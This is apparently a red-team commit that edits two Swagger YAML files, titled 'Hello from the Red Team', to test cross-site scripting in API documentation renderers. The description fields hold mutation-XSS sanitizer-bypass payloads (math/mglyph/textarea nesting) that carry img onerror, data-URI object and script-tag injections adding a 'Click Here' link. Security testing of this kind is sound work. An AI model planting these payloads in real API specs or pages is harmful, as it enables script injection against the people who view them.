Testing clickable payloads

exploits · Feb 19, 2024 · dcf2542 · dcf2542
1 parent 2a52f8e
commit dcf2542
Show file tree

Hide file tree

Showing 2 changed files with 4 additions and 4 deletions.
diff --git a/test.yaml b/test.yaml
@@ -2,7 +2,7 @@ swagger: '2.0'
 info:
   title: Hello from the Red Team
   description: |
-    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=document.write('<a href=\'http://test.com\'>http://test.com</a>') src=1>"></form>
+    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><script>var a=document.createElement('a');a.href='http://test.com';a.textContent='Click Here';document.body.appendChild(a);</script>"></form>
 
 
   version: production
@@ -29,7 +29,7 @@ paths:
     delete:
       parameters:
         - description: |
-            <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=document.write('<a href=\'http://test.com\'>http://test.com</a>') src=1>">
+            <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><script>var a=document.createElement('a');a.href='http://test.com';a.textContent='Click Here';document.body.appendChild(a);</script>">
 
 
           format: int64

diff --git a/test2.yaml b/test2.yaml
@@ -2,7 +2,7 @@ swagger: '2.0'
 info:
   title: Hello from the Red Team
   description: |
-    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><object data='data:text/html;base64,PGFhcmVmPSJodHRwOi8vdGVzdC5jb20iPmh0dHA6Ly90ZXN0LmNvbTwvYT4='></object>"></form>
+    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><script>var a=document.createElement('a');a.href='http://test.com';a.textContent='Click Here';document.body.appendChild(a);</script>"></form>
 
 
   version: production
@@ -29,7 +29,7 @@ paths:
     delete:
       parameters:
         - description: |
-            <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=document.write('<a href=\'http://test.com\'>http://test.com</a>') src=1>"></form>
+            <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><script>var a=document.createElement('a');a.href='http://test.com';a.textContent='Click Here';document.body.appendChild(a);</script>"></form>
 
 
           format: int64